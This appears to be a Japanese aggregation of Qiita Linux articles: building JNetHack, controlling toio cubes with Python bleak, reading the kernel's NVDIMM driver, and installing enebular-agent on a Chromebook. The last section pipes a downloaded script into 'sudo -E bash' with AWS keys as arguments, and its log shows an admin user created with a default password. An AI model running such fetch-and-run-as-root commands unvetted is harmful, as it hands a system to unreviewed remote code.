20191204のLinuxに関する記事は14件です。

コンパイルしやすくなったJNetHack3.6.1で遊ぼう!

はじめに

最初期のコンピュータRPGの1つである「ローグ」の流れを汲み、プレイする度にダンジョンが変化するタイプのゲームの総称を「ローグライク」1と言います。
NetHack はその中でも直系と言えるキャラクタベースのシンプルな見た目のゲームですが、根強い人気があります。2
tmux のタブを一つこれ用に準備して、作業の合間に遊んだりもできますね笑

英語版の NetHack 自体は各種Linuxのディストリビューションのパッケージに含まれているので簡単にインストール出来ますが、日本語版はありません。
JNetHack Project で日本語化の為のパッチを作成・配布してくださっていますので、これを使って自分でビルドしてみましょう。

以前は日本語が EUC-JP で出力されるために UTF-8 ロケールのターミナルでは cocot を使ったり、一時的に文字コードの設定を変える、等の対処が必要でした。
それが、現時点(2019/12/04)の最新版である JNetHack 3.6.1-0.4 では入出力の文字コードが完全に UTF-8 になりそのままプレイできる様になりました。
また、事前にMakeFileをエディタで編集したりする手間もなくなっていて、簡単な手順のみでコンパイル可能で大分敷居が低くなったので、是非遊んでみましょう。

コンパイル&実行環境について

Ubuntu 18.10 と、Windows10 の WSL1(Ubuntu 18.04.1 LTS) で試しました。Windwos10 の WSL & ターミナル環境の整備についてはこちらを参考にしてみてください。
当然Macでもコンパイル可能です。

  • NetHack本体と日本語化パッチの入手

JNetHackのプロジェクトページからもダウンロード出来ますが、ここではターミナル上で

~% wget https://ja.osdn.net/dl/jnethack/jnethack-3.6.1-0.4.diff.gz
~% wget https://ja.osdn.net/dl/jnethack/nethack-361-src.tgz

とする事で落として来ましょう。

コンパイル手順

  • コンパイル等に必要なパッケージをあらかじめインストールしておきます。
~% sudo apt-get install build-essential bison flex libncurses5-dev gzip nkf
  • ソースコードを展開し、パッチを適用して内部処理用の文字コードに変換します。
~% tar zxvf nethack-361-src.tgz
~% cd nethack-3.6.1/
~% zcat ../jnethack-3.6.1-0.4.diff.gz | patch -p1
~% find ./ -type f | xargs -i nkf -e -Lu --overwrite {};
~% cd sys/unix
~% sh setup.sh hints/linux

途中、多分Windows向けのファイルへのパッチ適用が失敗した旨のメッセージが出ますが、無視して大丈夫です(マズかったら教えてください)。

  • コンパイル&インストール
~% make all
~% make install

昔より恐ろしく手順が簡単です笑

遊んでみよう

ホームディレクトリに nh というディレクトリが作成されていますので

~% nh/install/games/jnethack

で起動します。プレイ中の画面はこんな感じです。

ようこそrattcv,NetHackの世界へ!あなたはノームの薬師だ!


        ---------------
        |.............|            ------
        |.............-#           |$...|
        |..........>..|#           |.....#########`##
        -.-----|-------##          |..@.|     # ####
         #     #        #        ##.....|    ------|-----
        ## #####        #        # |....d### |..........|
        #  #            #        # |...[|  # |.......$..|
        #  #            #------ ## ------  # |.........$|
       -.--.-----       #|.%..|##          ##-..........|
       |........|       #....$|#             |..........|
       |.........######  |....|#             ------------
       |..$..<..|     ###.....|#
       ----------        |.....#
                         |....|
                         ------



Rattcv 見習い             強:10 早:9 耐:14 知:9 賢:17 魅:16 中立
地下:1  $:1517 体:12(12) 魔:5(5) 鎧:8  経験:1

画面上の記号の意味

ヘルプから抜粋して表にしました。

記号 説明
- と | 部屋の壁.開いたドアや墓のこともある
. 床 または 出入口
# 廊下 鉄棒 または 木.流し台(もしあれば)や跳ね橋のこともある.
> 次の階への階段等.
< 前の階への階段等.
@ ( ふつうは )プレーヤー または 別の人間.
) いろんな種類の武器.
[ 服 または 鎧.
% 食べもの.(腐ってないとは限らない)
/ 魔法の杖.
= 指輪.
? 巻物.
! 水薬.
( 道具.(つるはし, 鍵, ランプ...)
$ 金の塊.
* 宝石 または 岩.(役に立つ場合も,無価値の場合もある)
+ 閉じた扉 または 呪文の本.
^ (見つけた後の) 罠.
" 魔除け または 蜘蛛の巣.
0 鉄の玉.
_ 祭壇 または 鉄の鎖.
{ 泉.
} 水溜り や 塵だまり
\ 豪華な王座.
` 玉石 または 彫像.
A から Z, a から z, その他: 怪物
I 透明または見えていない怪物が最後にいた場所

※あ、あとペットがいます。仔犬(d)か小猫(f)(職業によっては仔馬(u))です。

コマンドについて

自分のキャラクターは @ で、基本の移動コマンドはVimと同じ H J K L です。
他のキーボードコマンドはヘルプにも記載がありますが、中々覚えられないのでチートシートを作成してみました。
cheat_sheet.png
漏れがあったり分かりづらかったりするんでアップデートしていこうと思ってます。

詳しい設定や遊び方

僕もまだがっつり腰を据えてプレイしたことがないのであまり解説できません笑
以下の参考サイトは結構古くからあり今の JNetHack とは異なる部分もありますが、色々参考になると思います。

恐怖の迷宮への招待(NetHack ガイドブック)
猿でもできる JNetHack(通称サルネト)

以下は JNetHackの魅力や遊び方について語れている記事です。

JNetHackというゲームにはまる理由 - 人生なめてるやつが成功する方法
NetHackに取り付かれた男
【Roguelike】NetHack(ネットハック)初めての歩き方【ローグライク】

ではでは、あなたも是非「恐怖の迷宮」の攻略にチャレンジしてみましょう!


  1. 「トルネコ」や「シレン」等の「不思議のダンジョンシリーズ」なんかもローグライクに分類されます。 

  2. Twitterでたまに「あなたの人生を変えたゲームは?」等の様なアンケートがありますが、本ゲームを上げる人がかなり沢山居る様に見受けられます。 

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Pythonライブラリ bleakでWindows10/macOS/Linux上でtoioコア キューブを動かしてみる

身近にあるパソコンでtoioコア キューブを動かしてみたい

 toioコア キューブはBLE通信で制御できるとてもかわいい二輪ロボットです。
https://toio.github.io/toio-spec/

 先日、スマホを使ってBLE通信を直につかってtoioコアキューブを動かしてみる話を書いてみましたが今回はパソコンを使ってtoioコアキューブを動かしてみます。

 オフィシャルにはjavascriptおよびビジュアルプログラミングの環境が用意されています。

 が、この記事ではpythonを使います。
 ビジュアルプログラミング環境は(2019年12月10日時点で)macOS用しかリリースされていませんし、JavaScriptもnode.js、nobleのインストールが必要です。この記事の趣旨としては、身近に使えるパソコンやRaspberry Piなどをつかってサクッとtoioコアキューブを動かしたい、というものなので、インストールが比較的簡単なpythonを使う方法を紹介してみます。

 なお、bleakのサンプルコードがasyncioを使っているので、対応するPythonのバージョンはPython3.5以降になります。

bleakって?

 Windows10/Linux/macOSで動くBLE通信Python用ライブラリです。

 BLE通信用pythonライブラリはいろいろなものがありますが、Windows10、Linux(raspbian、ubuntu)、macOSの3種のOSで(ほぼ)同じように動かせるものとしてbleakを選んでみました。

その他のBLE通信pythonライブラリ

BLE直でというのはちょっとなーという場合は偉大な先人たちが作成されたtoio コアキューブ用ライブラリを使うのが良いでしょう。動作するOSなどはそれぞれの動作要件を確認してください。

bleakのしくみ

 bleakは各OSのBLE通信APIをwrapする形で実装されています。

  • Windows10だと共通言語ランタイム(CLR)を使ってdllを呼び出しその中でUWP APIを呼び出して呼び出しています。
  • Linuxだとbluez スタックを呼び出しています。
  • macOSだとpyobjcを使ってObjective-CのCore Bluetooth APIを呼び出しています

 それぞれのOSのBLE通信部を隠蔽する形でpythonライブラリ化されているので、どのOS上でも(ほぼ)同じpythonスクリプトでBLE通信をすることができるようになっています。

まー、なにはともあれやってみましょう

Windows10とmacOSにpythonをインストール

 Linuxでは(だいたいは)最初からpythonが入っていますが、Windows10には入っていないので、インストールする必要があります。また、macOSはpython2.7は入っていますが、python3は入っていないのでこちらもインストールする必要があります。以下の記事が参考になります。

 以下の説明ではプロンプトが「$」になっていますが、Windows10、macOS、Linuxそれぞれの環境でのプロンプトになっているものとします。動作自体はどの環境でも同じです。

bleakをインストール

  • コマンドプロンプト(Windows10ならPowerShellかコマンドプロンプト(cmd.exe))、LinuxならLXterminal等、macOSならターミナルを起動)を使える状態にします。
  • pipコマンドでbleakをインストールします。
$ pip install bleak

しばらく待つとbleakライブラリのインストールが終わり、利用可能になります。

toioコアキューブのBLEデバイスアドレスを調べる

 これはbleakのサンプルコードdiscover.pyそのまんまです。

discover.py
import asyncio

from bleak import discover

async def run():
    devices = await discover()
    for d in devices:
        print(d)

loop = asyncio.get_event_loop()
loop.run_until_complete(run())

これを動かすと以下のように出力されます。

$ python3 discover.py
D0:8B:7F:12:34:56: toio Core Cube
B0:52:22:33:44:5A: Unknown
6E:E4:DA:12:34:55: bluetooth deviceY
63:87:F5:55:22:33: bluetooth deviceX

 toio Core Cubeとあるところの6バイト16進数がデバイスアドレスになります。この値をメモしておきます。この値を後のスクリプトの中でセットします。上の実行例だと「D0:8B:7F:12:34:56」。
 macOSの場合、6バイト16進数ではなく、243E23AE-4A99-406C-B317-18F1BD7B4CBEのような長いUUID文字列になります。

toioコアキューブのバッテリー残量を読み取り、LEDを点灯し、モーターを回す

 toioコアキューブのバッテリー残量を読み取るには、oioコアキューブに接続したあと、バッテリー(Battery Information)のキャラクタリスティック(10B20108-5B3B-4571-9508-CF3EFCD7BBAE)を読み取ります。
 LEDを点灯するには、ランプ(Light Control)のキャラクタリスティック(10B20103-5B3B-4571-9508-CF3EFCD7BBAE)に書き込みます。
 モーターを動かすにはモーター(Motor Control)のキャラクタリスティク(10B20102-5B3B-4571-9508-CF3EFCD7BBAE)に値を書き込みます。

 toioコアキューブ技術仕様書の通信仕様の「ランプ」「モーター」の例を参考に値を書き込んでみます。

read_write_sample.py
import asyncio
import platform

from bleak import BleakClient

# バッテリーとLEDとモーターのキャラクタリスティック 
BATTERY_CHARACTERISTIC_UUID = ("10b20108-5b3b-4571-9508-cf3efcd7bbae")
LAMP_CHARACTERISTIC_UUID = ("10b20103-5b3b-4571-9508-cf3efcd7bbae")
MOTOR_CHARACTERISTIC_UUID = ("10b20102-5b3b-4571-9508-cf3efcd7bbae")  
# bleakではキャラクタリスティックのUUIDは小文字で書かないとダメみたい

async def run(address, loop):
    async with BleakClient(address, loop=loop) as client:
        x = await client.is_connected()
        #logger.info("Connected: {0}".format(x))
        print("Connected: {0}".format(x))
        # バッテリー残量読み取り
        battery = await client.read_gatt_char(BATTERY_CHARACTERISTIC_UUID)
        print("battery: {0}".format(int(battery[0])))
        # LEDを160ミリ秒、赤に点灯
        write_value = bytearray(b'\x03\x10\x01\x01\xff\x00\x00')
        await client.write_gatt_char(LAMP_CHARACTERISTIC_UUID, write_value)
        # モーター 左を前に100の速度、右を後ろに20の速度
        write_value = bytearray(b'\x01\x01\x01\x64\x02\x02\x14')
        await client.write_gatt_char(MOTOR_CHARACTERISTIC_UUID, write_value)
        # 5秒後に終了
        await asyncio.sleep(5.0, loop=loop)

if __name__ == "__main__":
    address = (
        # discovery.pyでみつけたtoio Core Cubeのデバイスアドレスをここにセットする
        "D0:8B:7F:12:34:56"  # Windows か Linux のときは16進6バイトのデバイスアドレスを指定
        if platform.system() != "Darwin"
        else "243E23AE-4A99-406C-B317-18F1BD7B4CBE"  # macOSのときはmacOSのつけるUUID
    )
    loop = asyncio.get_event_loop()
    loop.run_until_complete(run(address, loop))
$ python read_write_sample.py
Connected: True
battery: 100

動かすとバッテリー残量を読み取って表示した後、LEDが赤く一瞬点灯します。
P_20191209_221300.jpg
その後、toioコアキューブのやや右側を中心に時計回りに回転します。
P_20191209_221458.jpg
5秒後に終了します。

toioコアキューブのボタン状態や読み取りセンサーの読み取るIDを通知させる

toioコアキューブのボタン状態や読み取りセンサーの読み取るIDを通知(notify)させるにはボタン(Button Information)のキャラクタリスティック(10B20107-5B3B-4571-9508-CF3EFCD7BBAE)と、読み取りセンサー(ID Information)ののキャラクタリスティック(10B20101-5B3B-4571-9508-CF3EFCD7BBAE)の通知をうけるようにします。

 これはbleakのサンプルコードenable_notifications.pyを参考に、以下のようなスクリプトを書きます。

enable_button_and_id_info_notification.py
import asyncio
import platform

from bleak import BleakClient

# ボタンと読み取りセンサーのキャラクタリスティック 
BUTTON_CHARACTERISTIC_UUID = ("10b20107-5b3b-4571-9508-cf3efcd7bbae") 
ID_READER_CHARACTERISTIC_UUID = ("10b20101-5b3b-4571-9508-cf3efcd7bbae") 
# bleakではキャラクタリスティックのUUIDは小文字で書かないとダメみたい

# ボタン状態の通知ハンドラ
def button_notification_handler(sender, data):
    print("BUTTON {0}: {1}".format(sender, data))

#読み取りセンサーの通知ハンドラ
def id_reader_notification_handler(sender, data):
    print("toio ID {0}: {1}".format(sender, data))

async def run(address, loop):
    async with BleakClient(address, loop=loop) as client:
        x = await client.is_connected()
        print("Connected: {0}".format(x))
        # ボタン状態の通知スタート
        await client.start_notify(BUTTON_CHARACTERISTIC_UUID, button_notification_handler)
        # 読み取りセンサーの通知スタート
        await client.start_notify(ID_READER_CHARACTERISTIC_UUID, id_reader_notification_handler)
        # 10秒後に終了
        await asyncio.sleep(10.0, loop=loop)
        # ボタン状態、読み取りセンサーの通知終了
        await client.stop_notify(BUTTON_CHARACTERISTIC_UUID)
        await client.stop_notify(ID_READER_CHARACTERISTIC_UUID)

if __name__ == "__main__":
    address = (
        # discovery.pyでみつけたtoio Core Cubeのデバイスアドレスをここにセットする
        "D0:8B:7F:12:34:56"  # Windows か Linux のときは16進6バイトのデバイスアドレスを指定
        if platform.system() != "Darwin"
        else "243E23AE-4A99-406C-B317-18F1BD7B4CBE"  # macOSのときはmacOSのつけるUUID
    )
    loop = asyncio.get_event_loop()
    loop.run_until_complete(run(address, loop))

 動かしたらtoioコアキューブを持ち上げてボタンを押してみたり、トイオコレクションのマットやステッカーの上にのせてみます。

$ python enable_button_and_id_info_notification.py
Connected: True
toio ID 10b20101-5b3b-4571-9508-cf3efcd7bbae: bytearray(b'\x01\xa4\x01g\x01|\x00\xaf\x01e\x01|\x00')
toio ID 10b20101-5b3b-4571-9508-cf3efcd7bbae: bytearray(b'\x01\xa4\x01h\x01|\x00\xaf\x01f\x01|\x00')
toio ID 10b20101-5b3b-4571-9508-cf3efcd7bbae: bytearray(b'\x01\xa4\x01g\x01|\x00\xaf\x01e\x01|\x00')

逐一変わる値が通知されてくるのがわかります。

実は...

 実際に動作を確認できたのはWindows10(1909)とLinux(raspbian busterで、RasPi3Bと4Bで動作確認)だけです。
 すみません。自分の環境ではmacOSでbleakを動かすことはできませんでした。discovery.pyは動くのですが、それ以外がさっぱり動かなかったです。(環境はMacBookPro 13inch(early2015) macOS 10.14.6(mojave))
 このmacOS環境では、Linux/macOS対応をうたうAdafruitのBLEライブラリだと動くのですが、逆にこちらはraspbian busterでは動きませんでした。(bluezのバージョン違いが原因) bluezのbackendを修正すれば動くような気がしますが、原因がつかめてないのでなんとも。

さいごに

 小学校や中学校のパソコン部?にもありそうな身近にあるパソコンやRaspberry Piでpythonを使ってtoioコアキューブを動かして見る方法を紹介してみました。ノートPCのようにbluetoothインタフェースが内蔵されていないPCでも、USBドングル型のBluetoothインタフェースをつければ動かすことができると思います。
 node.jsとnoble、scratch-linkの導入がちょっとハードルが高いという方、またWindows10は使えるが、インストールできるアプリはストアアプリに制限されているような環境でもストアアプリのpython3はインストールできてbleakが使えるので、ぜひ試してみてください。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

root/drivers/nvdimm を読んでみよう

この記事はLinux Advent Calendar 2019の7日目です。

ううう、レベル低くて申し訳ないですが、これが自分の実力ということで!!

はじめに

簡単な自己紹介

普段は、某家電メーカーで、色々低レベルなプログラムを書いています。
お仕事は、OSなしから、Linuxまででございますね…。

ちょっと気になったのでNVDIMMの実装について、簡単にまとめておこうと思いました。

そもそもNVDIMMとは?

Non-volatile DIMM、つまり「不揮発なDIMM」ですね。

NVDIMM」のすゝめ が非常にわかりやすいです!

Linux Kernelでは、どんな機能を提供しているのか?

@YasunoriGoto1 さんがNVDIMMに関して非常に有責な情報をまとめております。
(書き始める前に見つけたら、この記事別のネタになっていましたね…)

https://qiita.com/YasunoriGoto1/items/177c7a5b22a02d087ebf

不揮発メモリ(NVDIMM)とLinuxの対応動向について

このページでは何を説明するのか?

今回はこのコードあたりを「なんか楽しそう」なところだけつまみ食いして読んでいきます。
ブロックデバイスとして扱おう、の巻ですね。

https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/tree/drivers/nvdimm?h=linux-5.3.y

今回のまとめ

linux kernelのNVDIMM実装は、root/drivers/nvdimm だけでなく、drivers/acpi/nfit とかにも散らばっているから、
「ちょっと読んだだけで、わかるかも!」という淡い期待は捨てよう。

と、いうことで、なまあたたかーい目で見ていただければ幸いでございます。


本編。

root/drivers/nvdimm の構成

最初に、Makefileに基づいて、構造を分類するとこんな感じになります。

image.png


ブロックデバイスとしてアクセスしよう!

ブロックデバイスとしてLinux kernelが認識する手順は以下の通り。

blk.c
module_init(nd_blk_init)
 nd_driver_register(&nd_blk_driver);
 nd_blk_driver = { .probe = nd_blk_probe, ... }
 nsblk_attach_disk(nsblk)

static int nsblk_attach_disk(struct nd_namespace_blk *nsblk)
  struct request_queue *q;
  q = blk_alloc_queue(GFP_KERNEL);

  if (devm_add_action_or_reset(dev, nd_blk_release_queue, q)) 
      return -ENOMEN;
  blk_queue_make_request(q, nd_blk_make_request); // (1)
  blk_queue_max_hw_sectors(q, UINT_MAX); // (2)
  blk_queue_logical_block_size(q, nsblk_sector_size(nsblk)); 
  q->queuedata = nsblk;

  set_capacity(disk, available_disk_size >> SECTOR_SHIFT);
  device_add_disk(dev, disk, NULL);

(1)nd_blk_make_request()

static blk_qc_t nd_blk_make_request(struct request_queue *q, struct bio *bio) の中身はこんな感じ

do_acct = nd_iostat_start(bio, &start);

bio_for_each_segment(bvec, bio, iter) {
  err = nsblk_do_bvec(nsblk, bip, bvec.bv_page, len,
                      bvec.bv_offset, rw, iter.bi_sector);

if (do_acct)
    nd_iostat_end(bio, start);

nd_iostat_start() と、nd_iostat_end() の中身は特に新しいことはやっていないので ( https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/tree/drivers/nvdimm/nd.h?h=linux-5.3.y ) 説明省略し…。
ポイントはどう見てもnsblk_do_bvec()ですね!

static int nsblk_do_bvec(struct nd_namespace_blk *nsblk,
        struct bio_integrity_payload *bip, struct page *page,
        unsigned int len, unsigned int off, int rw, sector_t sector)
{
    while (len) {
        unsigned int cur_len;

        iobuf = kmap_atomic(page);
        err = ndbr->do_io(ndbr, dev_offset, iobuf + off, cur_len, rw);
        kunmap_atomic(iobuf);

        if (bip) {
            err = nd_blk_rw_integrity(nsblk, bip, lba, rw);
            if (err)
                return err;
        }
        len -= cur_len;
        off += cur_len;
        sector += sector_size >> SECTOR_SHIFT;
    }

    return err;
}

この、do_io はどこから?

nd_region_create()
⇒ to_blk_region_desc(ndr_desc);
⇒ ndbr->do_io = ndbr_desc->do_io;

ndbr_desc->do_ioの実装を探すと…。

drivers/acpi/nfit/core.c の中に繋がってる…
そこを手繰ると、ここでようやく、blkに対するWrite/Readコマンドがメモリコピーに置き換わりました!
これで、ブロックデバイスとしてアクセスする道筋が通りました。

acpi_desc->blk_do_io = acpi_nfit_blk_region_do_io;

ndbr_desc->enable = acpi_nfit_blk_region_enable;
ndbr_desc->do_io = acpi_desc->blk_do_io;

static int acpi_nfit_blk_region_do_io(struct nd_blk_region *ndbr,
        resource_size_t dpa, void *iobuf, u64 len, int rw)
{
    lane = nd_region_acquire_lane(nd_region);
    while (len) {
        u64 c = min(len, mmio->size);

        rc = acpi_nfit_blk_single_io(nfit_blk, dpa + copied,
                iobuf + copied, c, rw, lane);
        if (rc)
            break;

        copied += c;
        len -= c;
    }
    nd_region_release_lane(nd_region, lane);

    return rc;
}

static int acpi_nfit_blk_single_io(struct nfit_blk *nfit_blk,
        resource_size_t dpa, void *iobuf, size_t len, int rw,
        unsigned int lane)
{
    write_blk_ctl(nfit_blk, lane, dpa, len, rw);
    while (len) {
<略>

        if (rw)
            memcpy_flushcache(mmio->addr.aperture + offset, iobuf + copied, c);
        else {
            if (nfit_blk->dimm_flags & NFIT_BLK_READ_FLUSH)
                arch_invalidate_pmem((void __force *)
                    mmio->addr.aperture + offset, c);

            memcpy(iobuf + copied, mmio->addr.aperture + offset, c);
        }

        copied += c;
        len -= c;
    }

    if (rw)
        nvdimm_flush(nfit_blk->nd_region, NULL);

    rc = read_blk_stat(nfit_blk, lane) ? -EIO : 0;
    return rc;
}

(2)バルクのパラメータは?

blk_queue_max_hw_sectors(q, UINT_MAX); とあるが、これはNVDIMMが特に管理単位がないから、セクタ数上限はなしよ・・・という扱いにしているのかな?と思われる。

blk_queue_logical_block_size(q, nsblk_sector_size(nsblk)); は、容量をゲットしてサイズセットしているはずだけど…

static u32 nsblk_sector_size(struct nd_namespace_blk *nsblk)
{
    return nsblk->lbasize - nsblk_meta_size(nsblk);
}

nsblk->lbasize = __le64_to_cpu(nd_label->lbasize);

nd_label->lbasize = __cpu_to_le64(nspm->lbasize);

nspm->lbasize = __le64_to_cpu(label0->lbasize);

??? よくわからなかった… パース!

ところで、NVDIMMはブロックデバイスとして扱えるの?

あれ?block_device_operationsが…

blk.c
static const struct block_device_operations nd_blk_fops = {
    .owner = THIS_MODULE,
    .revalidate_disk = nvdimm_revalidate_disk,
};

これだとアクセスできない?ということで、もうちょっと読んでみる。

どこからアクセスできそうかな?

blk.c
static int nd_blk_probe(struct device *dev)
{
    struct nd_namespace_common *ndns;
    struct nd_namespace_blk *nsblk;

    ndns = nvdimm_namespace_common_probe(dev);
    if (IS_ERR(ndns))
        return PTR_ERR(ndns);

    nsblk = to_nd_namespace_blk(&ndns->dev);
    nsblk->size = nvdimm_namespace_capacity(ndns);
    dev_set_drvdata(dev, nsblk);

    ndns->rw_bytes = nsblk_rw_bytes;
    if (is_nd_btt(dev))
        return nvdimm_namespace_attach_btt(ndns);
    else if (nd_btt_probe(dev, ndns) == 0) {
        /* we'll come back as btt-blk */
        return -ENXIO;
    } else
        return nsblk_attach_disk(nsblk);
}

fops->rw_pageが生えた!

btt.c
int nvdimm_namespace_attach_btt(struct nd_namespace_common *ndns)
{
    struct nd_btt *nd_btt = to_nd_btt(ndns->claim);
    struct nd_region *nd_region;
    struct btt_sb *btt_sb;
    struct btt *btt;
    size_t rawsize;

<略>
    nd_region = to_nd_region(nd_btt->dev.parent);
    btt = btt_init(nd_btt, rawsize, nd_btt->lbasize, nd_btt->uuid,
            nd_region);
    if (!btt)
        return -ENOMEM;
    nd_btt->btt = btt;

    return 0;
}

static struct btt *btt_init(struct nd_btt *nd_btt, unsigned long long rawsize,
        u32 lbasize, u8 *uuid, struct nd_region *nd_region)
{
<略>
    ret = btt_blk_init(btt);
    if (ret) {
        dev_err(dev, "init: error in blk_init: %d\n", ret);
        return NULL;
    }

    btt_debugfs_init(btt);

    return btt;
}

static const struct block_device_operations btt_fops = {
    .owner =        THIS_MODULE,
    .rw_page =      btt_rw_page,
    .getgeo =       btt_getgeo,
    .revalidate_disk =  nvdimm_revalidate_disk,
};

static int btt_blk_init(struct btt *btt)
{
    struct nd_btt *nd_btt = btt->nd_btt;
    struct nd_namespace_common *ndns = nd_btt->ndns;

<略>

    nvdimm_namespace_disk_name(ndns, btt->btt_disk->disk_name);
    btt->btt_disk->first_minor = 0;
    btt->btt_disk->fops = &btt_fops;
    btt->btt_disk->private_data = btt;
    btt->btt_disk->queue = btt->btt_queue;
    btt->btt_disk->flags = GENHD_FL_EXT_DEVT;
    btt->btt_disk->queue->backing_dev_info->capabilities |=
            BDI_CAP_SYNCHRONOUS_IO;

<略>
}

fops->rw_pageから、さっきのnsblk_rw_bytesに繋がった!

btt.c
static int btt_rw_page(struct block_device *bdev, sector_t sector,
        struct page *page, unsigned int op)
{
    struct btt *btt = bdev->bd_disk->private_data;
    int rc;
    unsigned int len;

    len = hpage_nr_pages(page) * PAGE_SIZE;
    rc = btt_do_bvec(btt, NULL, page, len, 0, op, sector);
    if (rc == 0)
        page_endio(page, op_is_write(op), 0);

    return rc;
}

static int btt_do_bvec(struct btt *btt, struct bio_integrity_payload *bip,
            struct page *page, unsigned int len, unsigned int off,
            unsigned int op, sector_t sector)
{
    int ret;

    if (!op_is_write(op)) {
        ret = btt_read_pg(btt, bip, page, off, sector, len);
        flush_dcache_page(page);
    } else {
        flush_dcache_page(page);
        ret = btt_write_pg(btt, bip, sector, page, off, len);
    }

    return ret;
}

static int btt_read_pg(struct btt *btt, struct bio_integrity_payload *bip,
            struct page *page, unsigned int off, sector_t sector,
            unsigned int len)
{
    int ret = 0;
    int t_flag, e_flag;
    struct arena_info *arena = NULL;
    u32 lane = 0, premap, postmap;

    while (len) {
<略>
        ret = btt_map_read(arena, premap, &postmap, &t_flag, &e_flag,
                NVDIMM_IO_ATOMIC);
        if (ret)
            goto out_lane;

<略>
}

static int btt_map_read(struct arena_info *arena, u32 lba, u32 *mapping,
            int *trim, int *error, unsigned long rwb_flags)
{
<略>

    ret = arena_read_bytes(arena, ns_off, &in, MAP_ENT_SIZE, rwb_flags);

<略>
}

static int arena_read_bytes(struct arena_info *arena, resource_size_t offset,
        void *buf, size_t n, unsigned long flags)
{
    struct nd_btt *nd_btt = arena->nd_btt;
    struct nd_namespace_common *ndns = nd_btt->ndns;

    /* arena offsets may be shifted from the base of the device */
    offset = adjust_initial_offset(nd_btt, offset);
    return nvdimm_read_bytes(ndns, offset, buf, n, flags);
}

include/nd.h
/**
 * nvdimm_read_bytes() - synchronously read bytes from an nvdimm namespace
 * @ndns: device to read
 * @offset: namespace-relative starting offset
 * @buf: buffer to fill
 * @size: transfer length
 *
 * @buf is up-to-date upon return from this routine.
 */
static inline int nvdimm_read_bytes(struct nd_namespace_common *ndns,
        resource_size_t offset, void *buf, size_t size,
        unsigned long flags)
{
    return ndns->rw_bytes(ndns, offset, buf, size, READ, flags);
}

ndns->rw_bytes = nsblk_rw_bytes; なので…

blk.c
static int nsblk_rw_bytes(struct nd_namespace_common *ndns,
        resource_size_t offset, void *iobuf, size_t n, int rw,
        unsigned long flags)
{
    struct nd_namespace_blk *nsblk = to_nd_namespace_blk(&ndns->dev);
    struct nd_blk_region *ndbr = to_ndbr(nsblk);
    resource_size_t dev_offset;

    dev_offset = to_dev_offset(nsblk, offset, n);

    if (unlikely(offset + n > nsblk->size)) {
        dev_WARN_ONCE(&ndns->dev, 1, "request out of range\n");
        return -EFAULT;
    }

    if (dev_offset == SIZE_MAX)
        return -EIO;

    return ndbr->do_io(ndbr, dev_offset, iobuf, n, rw);
}

あとはさっきの説明の、メモリアクセスまでのパスと同じ。

まとめ

linux kernelのNVDIMM実装は、root/drivers/nvdimm だけでなく、drivers/acpi/nfit とかにも散らばっているから、
「ちょっと読んだだけで、わかるかも!」という淡い期待は捨てよう、です。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Chrome bookにenebular-agentをインストール

いつのまにかChrome bookでLinux(ベータ版)が使える様になっていたのに気付きました。
Chrome bookは軽量でバッテリー持ちが良いので、ブラウザで事が済むGoogle系のサービスを使うときやMbedmicro:bitの開発で良く使っています。
enebularがサポートするデバイス向けのagent softwareとして、Linuxマシンで動作するenebular-agentがChrome bookで動作するか試してみました。
※個人的な実験の為、正式にサポートを宣言するものではありません。

使用したChrome book:ASUS C101P
image.png
image.png

Linuxのディストリビューションを調べる

以下の様に出ました。

***@penguin:/$ cat /etc/issue
Debian GNU/Linux 9 \n \l
***@penguin:/$ cat /etc/debian_version
9.9

enebular-agentが対応しているLinuxを確認するとDebian GNU/Linux 9 Stretchとあるので問題無いと思います。

enebular-agentをインストール

enebular-agentのインストール方法を確認して、インストールしてみます。インストールにはAWSのアカウントもしくはPelionのデバイスバンドルが必要になります。今回はAWSでやってみました。
nodejsやnodeRED等必要なものは自動的にインストールされるので、wgetやapt-getが使えればOKです。Chrome bookのLinuxの場合はそのまま、インストールコマンドだけでOKでした。

インストールコマンド

wget -qO- https://enebular.com/agent-install | sudo -E bash -s -- --aws-iot-thing-name=*** --aws-access-key-id=*** --aws-secret-access-key=*** --aws-iot-region=***

(***部分はお持ちのアカウントのものをセットしてください)

待つこと数分、無事インストールできました。

インストールログ(内緒の部分は伏せてます)

==========================================================================================================================
 enebular-agent installation:
   - Device name:         penguin
   - System:              Linux 4.19.60-06185-g54aa50936831 aarch64 GNU/Linux
   - Install user:        enebular
   - Install destination: /home/enebular/enebular-runtime-agent
   - Agent port:          awsiot
   - Agent version:       latest-release
==========================================================================================================================
==== Fetching updater version info ====
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    27  100    27    0     0     33      0 --:--:-- --:--:-- --:--:--    33
OK
==== Downloading updater version 2.9.0 ====
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 1482k  100 1482k    0     0   511k      0  0:00:02  0:00:02 --:--:--  511k
OK
==== Installing enebular-agent-updater to /tmp/enebular-agent-updater.dwHoIVYIl ====
OK
==== Checking node.js version ====
OK
==== Checking existing node.js v9.2.1 installation ====
OK
==== Downloading https://nodejs.org/dist/v9.2.1/node-v9.2.1-linux-arm64.tar.gz ====
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 16.8M  100 16.8M    0     0  2892k      0  0:00:05  0:00:05 --:--:-- 3797k
OK
==== Checking integrity ====
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  3671    0  3671    0     0   4437      0 --:--:-- --:--:-- --:--:--  4438
OK
==== Installing Node.js v9.2.1 to /home/enebular/nodejs-v9.2.1 ====
OK
==== Fetching enebular-agent ====
OK
==== Extracting enebular-agent ====
OK
==== Updating system package lists ====
OK
==== Install Debian dependencies ====
dpkg-query: no packages found matching build-essential
dpkg-query: no packages found matching python
OK
==== Building agent 2.9.0  ====
OK
==== Building Node-RED ====
OK
==== Building awsiot port ====
OK
==== Building awsiot-thing-creator ====
OK
==== Install Debian dependencies ====
OK
==== Creating Remote Maintenance User ====
Creating enebular-remote-admin using default password
OK
==== Applying file permissions ====
OK
==== Creating AWS IoT thing ====
OK
==== Registering startup service ====
OK
==========================================================================================================================
